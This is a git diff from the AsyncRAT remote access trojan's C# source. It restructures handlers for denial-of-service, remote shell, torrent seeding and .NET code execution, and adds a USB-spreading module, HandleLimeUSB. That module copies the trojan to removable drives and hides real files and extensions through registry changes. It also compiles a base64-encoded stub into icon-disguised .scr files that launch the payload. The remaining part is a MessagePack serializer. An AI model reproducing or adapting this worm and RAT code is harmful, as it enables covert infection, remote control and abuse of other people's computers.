{ {
public class HandleDos public class HandleDos
{ {
@ -39,7 +30,7 @@ namespace Client.Handle_Packet
Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}"); Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}");
while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected) while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && Connection.IsConnected)
{ {
for (int i = 0; i < 20; i++) for (int i = 0; i < 20; i++)
{ {
@ -64,7 +55,12 @@ namespace Client.Handle_Packet
Thread.Sleep(5000); Thread.Sleep(5000);
} }
} }
catch { return; } catch (Exception ex)
{
Packet.Error(ex.Message);
Packet.ctsDos.Cancel();
} }
} }
} }
}

226
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleLimeUSB.cs Normal file
View File

@ -0,0 +1,226 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Drawing.IconLib;
using System.Windows.Forms;
using Microsoft.Win32;
using System.Drawing;
using Microsoft.CSharp;
using System.CodeDom.Compiler;
using Microsoft.VisualBasic.Devices;
namespace Miscellaneous.Handler
{
class HandleLimeUSB
{
public void Initialize()
{
ExplorerOptions();
foreach (DriveInfo usb in DriveInfo.GetDrives())
{
try
{
if (usb.DriveType == DriveType.Removable && usb.IsReady)
{
if (!Directory.Exists(usb.RootDirectory.ToString() + Settings.WorkDirectory))
{
Directory.CreateDirectory(usb.RootDirectory.ToString() + Settings.WorkDirectory);
File.SetAttributes(usb.RootDirectory.ToString() + Settings.WorkDirectory, FileAttributes.System | FileAttributes.Hidden);
}
if (!Directory.Exists((usb.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + Settings.IconsDirectory)))
Directory.CreateDirectory((usb.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + Settings.IconsDirectory));
if (!File.Exists(usb.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + Settings.LimeUSBFile))
File.Copy(Application.ExecutablePath, usb.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + Settings.LimeUSBFile);
CreteDirectory(usb.RootDirectory.ToString());
InfectFiles(usb.RootDirectory.ToString());
}
}
catch (Exception ex)
{
Debug.WriteLine("Initialize " + ex.Message);
}
}
}
public void ExplorerOptions()
{
try
{
RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true);
if (key.GetValue("Hidden") != (object)2)
key.SetValue("Hidden", 2);
if (key.GetValue("HideFileExt") != (object)1)
key.SetValue("HideFileExt", 1);
}
catch (Exception ex)
{
Debug.WriteLine("ExplorerOptions: " + ex.Message);
}
}
public void InfectFiles(string path)
{
foreach (var file in Directory.GetFiles(path))
{
try
{
if (CheckIfInfected(file))
{
ChangeIcon(file);
File.Move(file, file.Insert(3, Settings.WorkDirectory + "\\"));
CompileFile(file);
}
}
catch (Exception ex)
{
Debug.WriteLine("InfectFiles " + ex.Message);
}
}
foreach (var directory in Directory.GetDirectories(path))
{
if (!directory.Contains(Settings.WorkDirectory))
InfectFiles(directory);
}
}
public void CreteDirectory(string usbDirectory)
{
foreach (var directory in Directory.GetDirectories(usbDirectory))
{
try
{
if (!directory.Contains(Settings.WorkDirectory))
{
if (!Directory.Exists(directory.Insert(3, Settings.WorkDirectory + "\\")))
Directory.CreateDirectory(directory.Insert(3, Settings.WorkDirectory + "\\"));
CreteDirectory(directory);
}
}
catch (Exception ex)
{
Debug.WriteLine("CreteDirectory: " + ex.Message);
}
}
}
public bool CheckIfInfected(string file)
{
try
{
FileVersionInfo info = FileVersionInfo.GetVersionInfo(file);
if (info.LegalTrademarks == Settings.InfectedTrademark)
return false;
else
return true;
}
catch
{
return false;
}
}
public void ChangeIcon(string file)
{
try
{
Icon fileIcon = Icon.ExtractAssociatedIcon(file);
MultiIcon multiIcon = new MultiIcon();
SingleIcon singleIcon = multiIcon.Add(Path.GetFileName(file));
singleIcon.CreateFrom(fileIcon.ToBitmap(), IconOutputFormat.Vista);
singleIcon.Save(Path.GetPathRoot(file) + Settings.WorkDirectory + "\\" + Settings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(file.Replace(" ", null)) + ".ico");
}
catch (Exception ex)
{
Debug.WriteLine("ChangeIcon: " + ex.Message);
}
}
public void CompileFile(string infectedFile)
{
try
{
string source = Encoding.UTF8.GetString(Convert.FromBase64String("dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uRGlhZ25vc3RpY3M7CnVzaW5nIFN5c3RlbS5SZWZsZWN0aW9uOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpbYXNzZW1ibHk6IEFzc2VtYmx5VHJhZGVtYXJrKCIlTGltZSUiKV0KW2Fzc2VtYmx5OiBHdWlkKCIlR3VpZCUiKV0KCnN0YXRpYyBjbGFzcyAlTGltZVVTQk1vZHVsZSUKewogICAgcHVibGljIHN0YXRpYyB2b2lkIE1haW4oKQogICAgewogICAgICAgIHRyeQogICAgICAgIHsKICAgICAgICAgICAgU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoQCIlRmlsZSUiKTsKICAgICAgICB9CiAgICAgICAgY2F0Y2ggeyB9CiAgICAgICAgdHJ5CiAgICAgICAgewogICAgICAgICAgICBTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzcy5TdGFydChAIiVQYXlsb2FkJSIpOwogICAgICAgIH0KICAgICAgICBjYXRjaCB7IH0KICAgIH0KfQ=="));
source = source.Replace("%Payload%", Path.GetPathRoot(infectedFile) + Settings.WorkDirectory + "\\" + Settings.LimeUSBFile);
source = source.Replace("%File%", infectedFile.Insert(3, Settings.WorkDirectory + "\\"));
source = source.Replace("%Lime%", Settings.InfectedTrademark);
source = source.Replace("%LimeUSBModule%", Randomz(new Random().Next(6, 12)));
source = source.Replace("%Guid%", Guid.NewGuid().ToString());
string[] referencedAssemblies = new string[] { "System.dll" };
var providerOptions = new Dictionary<string, string>() {
{"CompilerVersion", "v4.0" }
};
var compilerOptions = "/target:winexe /platform:anycpu /optimize+";
if (File.Exists(Path.GetPathRoot(infectedFile) + Settings.WorkDirectory + "\\" + Settings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(infectedFile.Replace(" ", null)) + ".ico"))
{
compilerOptions += $" /win32icon:\"{Path.GetPathRoot(infectedFile) + Settings.WorkDirectory + "\\" + Settings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(infectedFile.Replace(" ", null)) + ".ico"}\"";
}
using (var cSharpCodeProvider = new CSharpCodeProvider(providerOptions))
{
var compilerParameters = new CompilerParameters(referencedAssemblies)
{
GenerateExecutable = true,
OutputAssembly = infectedFile + ".scr",
CompilerOptions = compilerOptions,
TreatWarningsAsErrors = false,
IncludeDebugInformation = false,
};
var compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, source);
//if (compilerResults.Errors.Count > 0)
//{
// MessageBox.Show(string.Format("The compiler has encountered {0} errors",
// compilerResults.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
// MessageBoxIcon.Error);
// foreach (CompilerError compilerError in compilerResults.Errors)
// {
// MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
// compilerError.Line, compilerError.Column, compilerError.FileName), "Error",
// MessageBoxButtons.OK, MessageBoxIcon.Error);
// }
//}
}
}
catch (Exception ex)
{
Debug.WriteLine("CompileFile " + ex.Message);
}
}
public string Randomz(int L)
{
string validchars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder sb = new StringBuilder();
Random rand = new Random();
for (int i = 1; i <= L; i++)
{
int idx = rand.Next(0, validchars.Length);
char randomChar = validchars[idx];
sb.Append(randomChar);
}
var randomString = sb.ToString();
return randomString;
}
}
public class Settings
{
public static readonly string InfectedTrademark = "Trademark - Lime";
public static readonly string WorkDirectory = "$LimeUSB";
public static readonly string LimeUSBFile = "LimeUSB.exe";
public static readonly string IconsDirectory = "$LimeIcons";
}
}

13
AsyncRAT-C#/Client/Handle Packet/HandleShell.cs → AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleShell.cs
View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Plugin;
using Client.Connection; using Plugin.MessagePack;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
@ -9,7 +9,7 @@ using System.Management;
using System.Text; using System.Text;
using System.Threading; using System.Threading;
namespace Client.Handle_Packet namespace Miscellaneous.Handler
{ {
public static class HandleShell public static class HandleShell
{ {
@ -42,7 +42,7 @@ namespace Client.Handle_Packet
ProcessShell.Start(); ProcessShell.Start();
ProcessShell.BeginOutputReadLine(); ProcessShell.BeginOutputReadLine();
ProcessShell.BeginErrorReadLine(); ProcessShell.BeginErrorReadLine();
while (ClientSocket.IsConnected) while (Connection.IsConnected)
{ {
Thread.Sleep(1); Thread.Sleep(1);
if (CanWrite) if (CanWrite)
@ -68,8 +68,9 @@ namespace Client.Handle_Packet
Output.AppendLine(e.Data); Output.AppendLine(e.Data);
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "shell"; msgpack.ForcePathObject("Packet").AsString = "shell";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("ReadInput").AsString = Output.ToString(); msgpack.ForcePathObject("ReadInput").AsString = Output.ToString();
ClientSocket.Send(msgpack.Encode2Bytes()); Connection.Send(msgpack.Encode2Bytes());
} }
catch { } catch { }
} }
@ -87,6 +88,7 @@ namespace Client.Handle_Packet
} }
} }
catch { } catch { }
Connection.Disconnected();
} }
private static void KillProcessAndChildren(int pid) private static void KillProcessAndChildren(int pid)
@ -110,4 +112,5 @@ namespace Client.Handle_Packet
catch { } catch { }
} }
} }
} }

11
AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs → AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleTorrent.cs
View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Plugin;
using Client.Connection; using Plugin.MessagePack;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
@ -10,7 +10,7 @@ using System.Text;
using System.Threading; using System.Threading;
using System.Windows.Forms; using System.Windows.Forms;
namespace Client.Handle_Packet namespace Miscellaneous.Handler
{ {
public class HandleTorrent public class HandleTorrent
{ {
@ -50,7 +50,7 @@ namespace Client.Handle_Packet
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Error"; msgpack.ForcePathObject("Packet").AsString = "Error";
msgpack.ForcePathObject("Error").AsString = "couldn't find a torrent client"; msgpack.ForcePathObject("Error").AsString = "couldn't find a torrent client";
ClientSocket.Send(msgpack.Encode2Bytes()); Connection.Send(msgpack.Encode2Bytes());
return; return;
} }
else else
@ -87,7 +87,7 @@ namespace Client.Handle_Packet
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Logs"; msgpack.ForcePathObject("Packet").AsString = "Logs";
msgpack.ForcePathObject("Message").AsString = $"seeding using {Path.GetFileName(IsInstalled())}"; msgpack.ForcePathObject("Message").AsString = $"seeding using {Path.GetFileName(IsInstalled())}";
ClientSocket.Send(msgpack.Encode2Bytes()); Connection.Send(msgpack.Encode2Bytes());
} }
} }
catch (Exception ex) catch (Exception ex)
@ -124,4 +124,5 @@ namespace Client.Handle_Packet
static extern bool IsWindowVisible(IntPtr hWnd); static extern bool IsWindowVisible(IntPtr hWnd);
} }
} }

8
AsyncRAT-C#/Client/Handle Packet/HandlerExecuteDotNetCode.cs → AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandlerExecuteDotNetCode.cs
View File

@ -1,6 +1,7 @@
using Client.MessagePack; using Microsoft.CSharp;
using Microsoft.CSharp;
using Microsoft.VisualBasic; using Microsoft.VisualBasic;
using Plugin;
using Plugin.MessagePack;
using System; using System;
using System.CodeDom.Compiler; using System.CodeDom.Compiler;
using System.Collections.Generic; using System.Collections.Generic;
@ -9,7 +10,7 @@ using System.Linq;
using System.Reflection; using System.Reflection;
using System.Text; using System.Text;
namespace Client.Handle_Packet namespace Miscellaneous.Handler
{ {
public class HandlerExecuteDotNetCode public class HandlerExecuteDotNetCode
{ {
@ -85,4 +86,5 @@ namespace Client.Handle_Packet
} }
} }
} }
} }

102
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/BytesTools.cs Normal file
View File

@ -0,0 +1,102 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

926
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPack.cs Normal file
View File

@ -0,0 +1,926 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
fs.Dispose();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
fs.Dispose();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream())
{
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToUInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
